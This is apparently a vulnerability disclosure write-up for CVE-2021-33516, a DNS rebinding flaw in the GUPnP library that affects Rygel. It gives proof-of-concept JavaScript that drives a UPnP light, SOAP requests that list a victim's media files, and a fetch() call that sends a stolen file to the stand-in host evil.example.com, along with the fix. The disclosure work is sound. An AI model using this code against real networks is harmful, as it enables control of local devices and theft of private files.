/dev/posts/

DNS rebinding vulnerability in GUPnP

Published:

Updated:

GUPnP, a GNOME library for Universal Plug and Play (UPnP), was vulnerable to DNS rebinding attacks. This is CVE-2021-33516 and GUPnP issue #24. This was fixed in GUPnP 1.0.7 and GUPnP 1.2.5.

Table of content

Summary

The device-part of GUPnP, a library used to implement Universal Plug and Play (UPnP) devicees (servers) and control points (clients) was vulnerable to DNS-rebinding attacks because it did not check the value of the Host HTTP header. A remote web server can exploit this vulnerability to trick the user browser into triggering actions on the local UPnP services implemented using this library.

For example, this can be used to exfiltrate the content of the media files exposed by the Rygel UPnP AV MediaServer server. The dleyna components (dleyna-renderer and dleyna-server) are probably affected as well.

This was fixed in GUPnP 1.0.7 and 1.2.5.

Affected versions:

This is CVE-2021-33516 and GUPnP issue #24.

This was tested on:

Example with gupnp-network-light

We demonstrate this using gupnp-network-light. This program simulates a light which can be controlled using UPnP.

Light on Light off
Some possible states of gupnp-network-light

It exposes two services:

This JavaScript code served from another web server can be used to trigger the SetLoadLevelTarget. This needs to be served using the same port as the targeted gupnp-network-light service.

function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main()
{
  while(true) {
    const response = await fetch("/Dimming/Control", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"',
      },
      body: `<?xml version="1.0" encoding="utf-8"?>
  <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
    <s:Body>
      <u:SetLoadLevelTarget xmlns:u="urn:schemas-upnp-org:service:Dimming:1">
        <newLoadlevelTarget>100</newLoadlevelTarget>
      </u:SetLoadLevelTarget>
    </s:Body>
  </s:Envelope>`
    });
    if (response.status == 200) {
      alert("DONE!")
      return;
    }
    await sleep(1000);
  }
}
main()

We need to trick the user browser into browsing to this malicious web server using a URI such as:

http://a.192.0.2.1.3time.192.168.1.42.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:38757/

using whonow, where:

After some time, one of our requests reaches gupnp-network-light. This request is accepted,

HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 22:40:18 GMT
Content-Type: text/xml; charset="utf-8"
Ext: 
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: ...
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
    s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetLoadLevelTargetResponse xmlns:u="urn:schemas-upnp-org:service:Dimming:1">
    </u:SetLoadLevelTargetResponse>
  </s:Body>
</s:Envelope>

and we can see the dimming level changing as a result.

In order to conduct this attack, we need to guess the local IP address and port of the service. We could use WebSocket based port scanning in order to try to find opened ports on the local network (or localhost).

Code

The following verifications are done by control_server_handler() in libgupnp:

if (msg->method != SOUP_METHOD_POST) {
        soup_message_set_status (msg, SOUP_STATUS_NOT_IMPLEMENTED);
        return;
}

if (msg->request_body->length == 0) {
        soup_message_set_status (msg, SOUP_STATUS_BAD_REQUEST);
        return;
}

/* DLNA 7.2.5.6: Always use HTTP 1.1 */
if (soup_message_get_http_version (msg) == SOUP_HTTP_1_0) {
        soup_message_set_http_version (msg, SOUP_HTTP_1_1);
        soup_message_headers_append (msg->response_headers,
                                      "Connection",
                                      "close");
}

context = gupnp_service_info_get_context (GUPNP_SERVICE_INFO (service));

/* Get action name */
soap_action = soup_message_headers_get_one (msg->request_headers,
                                            "SOAPAction");
if (!soap_action) {
        soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
        return;
}

action_name = strchr (soap_action, '#');
if (!action_name) {
        soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);

        return;
}

The code checks that the SOAPAction HTTP header (required for UPnP SOAP requests): this prevents CSRF attacks on the UPnP SOAP endpoints.

However, the code does not check the Host HTTP header (or the Origin HTTP header) and is thus vulnerable to DNS rebinding attacks.

Attacking Rygel

Using the same approach, we can attack Rygel. Rygel is UPnP AV MediaServer intended to be executed as part of the GNOME desktop. It exports UPnP user media files over the the LAN.

By default, it implements the folloing UPnP services:

Rygel is implemented using libgupnp and is thus vulnerable to this DNS rebinding attack. A remote web server can use this vulnerability to exfiltrate all the data (file names, metadata and raw content) exposed by Rygel.

This can be done using the following steps:

  1. listing the available files using the ContentDirectory Browse action and obtaining their URI;
  2. getting the content of the file (HTTP GET);
  3. sending the content of the file to a remote server.

File listing

For listing the files, the attacker can use the Browse action of the ContentDirectory service.

We can list of root object with:

POST /Control/MediaExport/RygelContentDirectory HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:schemas-upnp-org:service:ContentDirectory:3#Browse"
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3">
      <ObjectID>Filesystem</ObjectID>
      <BrowseFlag>BrowseDirectChildren</BrowseFlag>
      <Filter>*</Filter>
      <StartingIndex>0</StartingIndex>
      <RequestedCount>20</RequestedCount>
      <SortCriteria></SortCriteria>
    </u:Browse>
  </s:Body>
</s:Envelope>
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 20:22:16 GMT
Content-Type: text/xml; charset="utf-8"
Ext: 
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 2198
<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:BrowseResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3"><Result>&lt;DIDL-Lite xmlns=&quot;urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:upnp=&quot;urn:schemas-upnp-org:metadata-1-0/upnp/&quot;&gt;&lt;container parentID=&quot;Filesystem&quot; id=&quot;d15ec91488580d85a8459fa97de9c311&quot; childCount=&quot;1&quot; searchable=&quot;1&quot; restricted=&quot;1&quot;&gt;&lt;dc:title&gt;mediaserver&lt;/dc:title&gt;&lt;upnp:class&gt;object.container&lt;/upnp:class&gt;&lt;upnp:containerUpdateID&gt;10&lt;/upnp:containerUpdateID&gt;&lt;upnp:objectUpdateID&gt;10&lt;/upnp:objectUpdateID&gt;&lt;upnp:totalDeletedChildCount&gt;0&lt;/upnp:totalDeletedChildCount&gt;&lt;upnp:searchClass includeDerived=&quot;1&quot;&gt;object.item.imageItem&lt;/upnp:searchClass&gt;&lt;upnp:searchClass includeDerived=&quot;1&quot;&gt;object.item.imageItem.photo&lt;/upnp:searchClass&gt;&lt;upnp:searchClass includeDerived=&quot;1&quot;&gt;object.item.videoItem&lt;/upnp:searchClass&gt;&lt;upnp:searchClass includeDerived=&quot;1&quot;&gt;object.item.audioItem&lt;/upnp:searchClass&gt;&lt;upnp:searchClass includeDerived=&quot;1&quot;&gt;object.item.audioItem.musicTrack&lt;/upnp:searchClass&gt;&lt;upnp:searchClass includeDerived=&quot;1&quot;&gt;object.item.playlistItem&lt;/upnp:searchClass&gt;&lt;upnp:searchClass includeDerived=&quot;1&quot;&gt;object.container&lt;/upnp:searchClass&gt;&lt;res protocolInfo=&quot;http-get:*:text/xml:DLNA.ORG_PN=DIDL_S;DLNA.ORG_FLAGS=00f00000000000000000000000000000&quot;&gt;http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/didl_s_playlist.xml&lt;/res&gt;&lt;res protocolInfo=&quot;http-get:*:audio/x-mpegurl:*&quot;&gt;http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/m3u_playlist.m3u&lt;/res&gt;&lt;/container&gt;&lt;/DIDL-Lite&gt;</Result><NumberReturned>1</NumberReturned><TotalMatches>1</TotalMatches><UpdateID>2</UpdateID></u:BrowseResponse></s:Body></s:Envelope>

The Result is:

<DIDL-Lite
    xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/">
  <container parentID="Filesystem" id="d15ec91488580d85a8459fa97de9c311" childCount="1" searchable="1" restricted="1">
    <dc:title>mediaserver</dc:title>
    <upnp:class>object.container</upnp:class>
    <upnp:containerUpdateID>10</upnp:containerUpdateID>
    <upnp:objectUpdateID>10</upnp:objectUpdateID>
    <upnp:totalDeletedChildCount>0</upnp:totalDeletedChildCount>
    <upnp:searchClass includeDerived="1">object.item.imageItem</upnp:searchClass>
    <upnp:searchClass includeDerived="1">object.item.imageItem.photo</upnp:searchClass>
    <upnp:searchClass includeDerived="1">object.item.videoItem</upnp:searchClass>
    <upnp:searchClass includeDerived="1">object.item.audioItem</upnp:searchClass>
    <upnp:searchClass includeDerived="1">object.item.audioItem.musicTrack</upnp:searchClass>
    <upnp:searchClass includeDerived="1">object.item.playlistItem</upnp:searchClass>
    <upnp:searchClass includeDerived="1">object.container</upnp:searchClass>
    <res protocolInfo="http-get:*:text/xml:DLNA.ORG_PN=DIDL_S;DLNA.ORG_FLAGS=00f00000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/didl_s_playlist.xml</res><res protocolInfo="http-get:*:audio/x-mpegurl:*">http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/m3u_playlist.m3u</res>
  </container>
</DIDL-Lite>

We can list the content of the "mediaserver" entry with:

POST /Control/MediaExport/RygelContentDirectory HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:schemas-upnp-org:service:ContentDirectory:3#Browse"
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3">
      <ObjectID>d15ec91488580d85a8459fa97de9c311</ObjectID>
      <BrowseFlag>BrowseDirectChildren</BrowseFlag>
      <Filter>*</Filter>
      <StartingIndex>0</StartingIndex>
      <RequestedCount>20</RequestedCount>
      <SortCriteria></SortCriteria>
    </u:Browse>
  </s:Body>
</s:Envelope>
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 20:43:41 GMT
Content-Type: text/xml; charset="utf-8"
Ext: 
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: ...
<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:BrowseResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3"><Result>&lt;DIDL-Lite xmlns=&quot;urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/&quot; xmlns:dlna=&quot;urn:schemas-dlna-org:metadata-1-0/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:upnp=&quot;urn:schemas-upnp-org:metadata-1-0/upnp/&quot;&gt;&lt;item id=&quot;20ec26aa3539288682d834cc082b1cf8&quot; parentID=&quot;d15ec91488580d85a8459fa97de9c311&quot; restricted=&quot;0&quot; dlna:dlnaManaged=&quot;00000010&quot;&gt;&lt;dc:title&gt;Example&lt;/dc:title&gt;&lt;upnp:class&gt;object.item.audioItem.musicTrack&lt;/upnp:class&gt;&lt;dc:date&gt;2000-01-01&lt;/dc:date&gt;&lt;upnp:objectUpdateID&gt;6&lt;/upnp:objectUpdateID&gt;&lt;upnp:artist&gt;Super Artist&lt;/upnp:artist&gt;&lt;upnp:genre&gt;Game&lt;/upnp:genre&gt;&lt;res size=&quot;1410775&quot; duration=&quot;0:01:42.000&quot; nrAudioChannels=&quot;2&quot; sampleFrequency=&quot;44100&quot; protocolInfo=&quot;http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_FLAGS=01700000000000000000000000000000&quot;&gt;http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3&lt;/res&gt;&lt;res duration=&quot;0:01:42.000&quot; bitrate=&quot;176400&quot; bitsPerSample=&quot;16&quot; nrAudioChannels=&quot;2&quot; sampleFrequency=&quot;44100&quot; protocolInfo=&quot;http-get:*:audio/L16;rate=44100;channels=2:DLNA.ORG_PN=LPCM;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000&quot;&gt;http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/LPCM.lpcm&lt;/res&gt;&lt;res duration=&quot;0:01:42.000&quot; sampleFrequency=&quot;256&quot; protocolInfo=&quot;http-get:*:audio/vnd.dlna.adts:DLNA.ORG_PN=AAC_ADTS_320;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000&quot;&gt;http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/AAC_ADTS_320.adts&lt;/res&gt;&lt;res size=&quot;1410775&quot; duration=&quot;0:01:42.000&quot; nrAudioChannels=&quot;2&quot; sampleFrequency=&quot;44100&quot; protocolInfo=&quot;internal:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_FLAGS=01600000000000000000000000000000&quot;&gt;file:///home/johndoe/temp/mediaserver/example.mp3&lt;/res&gt;&lt;upnp:album&gt;Example Album&lt;/upnp:album&gt;&lt;/item&gt;&lt;/DIDL-Lite&gt;</Result><NumberReturned>1</NumberReturned><TotalMatches>1</TotalMatches><UpdateID>10</UpdateID></u:BrowseResponse></s:Body></s:Envelope>

The Result is:

<DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dlna="urn:schemas-dlna-org:metadata-1-0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/">
  <item id="20ec26aa3539288682d834cc082b1cf8" parentID="d15ec91488580d85a8459fa97de9c311" restricted="0" dlna:dlnaManaged="00000010">
    <dc:title>Example</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <dc:date>2000-01-01</dc:date>
    <upnp:objectUpdateID>6</upnp:objectUpdateID>
    <upnp:artist>Super Artist</upnp:artist>
    <upnp:genre>Game</upnp:genre>
    <res size="1410775" duration="0:01:42.000" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3</res>
    <res duration="0:01:42.000" bitrate="176400" bitsPerSample="16" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="http-get:*:audio/L16;rate=44100;channels=2:DLNA.ORG_PN=LPCM;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/LPCM.lpcm</res>
    <res duration="0:01:42.000" sampleFrequency="256" protocolInfo="http-get:*:audio/vnd.dlna.adts:DLNA.ORG_PN=AAC_ADTS_320;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/AAC_ADTS_320.adts</res>
    <res size="1410775" duration="0:01:42.000" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="internal:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_FLAGS=01600000000000000000000000000000">file:///home/johndoe/temp/mediaserver/example.mp3</res>
    <upnp:album>Example Album</upnp:album>
  </item>
</DIDL-Lite>

This gives us a list of files with URI to access to their content. For example:

http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3

Exfiltrating some file

The attacker can now make the browser download the content a file with:

const response = await fetch("/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3");
const blob = await response.blob();

It can then exfiltrate it to another web server.

fetch("http://evil.example.com/exfitlration", {
  method: "POST",
  mode: 'cors',
  body: blob,
  headers: {
    "Content-Type": response.headers.get("Content-Type"),
  }
});

Resolution

This can be fixed by checking that the Host HTTP header contains a literal IP address.

Fix

This was fixed by adding this control in control_server_handler():

const char *host_header =
        soup_message_headers_get_one (msg->request_headers, "Host");

if (!gupnp_context_validate_host_header (context, host_header)) {
        g_warning ("Host header mismatch, expected %s:%d, got %s",
                    gssdp_client_get_host_ip (GSSDP_CLIENT (context)),
                    gupnp_context_get_port (context),
                    host_header);

        soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
        return;
}

Where gupnp_context_validate_host_header() is:

gboolean
gupnp_context_validate_host_header (GUPnPContext *context,
                                    const char *host_header)
{
        gboolean retval = FALSE;
        // Be lazy and let GUri do the heavy lifting here, such as stripping the
        // [] from v6 addresses, splitting of the port etc.
        char *uri_from_host = g_strconcat ("http://", host_header, NULL);

        char *host = NULL;
        int port = 0;
        GError *error = NULL;

        g_uri_split_network (uri_from_host,
                             G_URI_FLAGS_NONE,
                             NULL,
                             &host,
                             &port,
                             &error);

        if (error != NULL) {
                g_debug ("Failed to parse HOST header from request: %s",
                         error->message);
                goto out;
        }

        const char *host_ip = gssdp_client_get_host_ip (GSSDP_CLIENT (context));
        gint context_port = gupnp_context_get_port (context);

        if (!g_str_equal (host, host_ip)) {
                g_debug ("Mismatch between host header and host IP (%s, "
                         "expected: %s)",
                         host,
                         host_ip);
        }

        if (port != context_port) {
                g_debug ("Mismatch between host header and host port (%d, "
                         "expected %d)",
                         port,
                         context_port);
        }

        retval = g_str_equal (host, host_ip) && port == context_port;

out:
        g_clear_error (&error);
        g_free (uri_from_host);
        return retval;
}

Things not fixed yet

This fix only checks the Host header for the control (SOAP) endpoints. The other endpoints are not protected against DNS rebinding attacks.

In particular, the eventing endpoints (GENA SUBSCRIBE method) are not protected and are technically still vulnerable to DNS rebinding attacks. The impact of DNS rebinding atatcks on these endpoints is probably quite limited: the library already has some protection against CVE-2020-12695 (CallStranger) and it should thus not be possible to easily exploit this to exfiltrate UPnP events to remote servers.

Update 2021-07-05: Host validation in subscription/GENA endpoints was added in GUPnP 1.3.0.

In the case of Rygel the resource endpoints are still vulnerable to DNS rebinding attacks but in order to be exploitable, the attacker need to guess their URI. It would be interesting to check whether this is feasible.

Timeline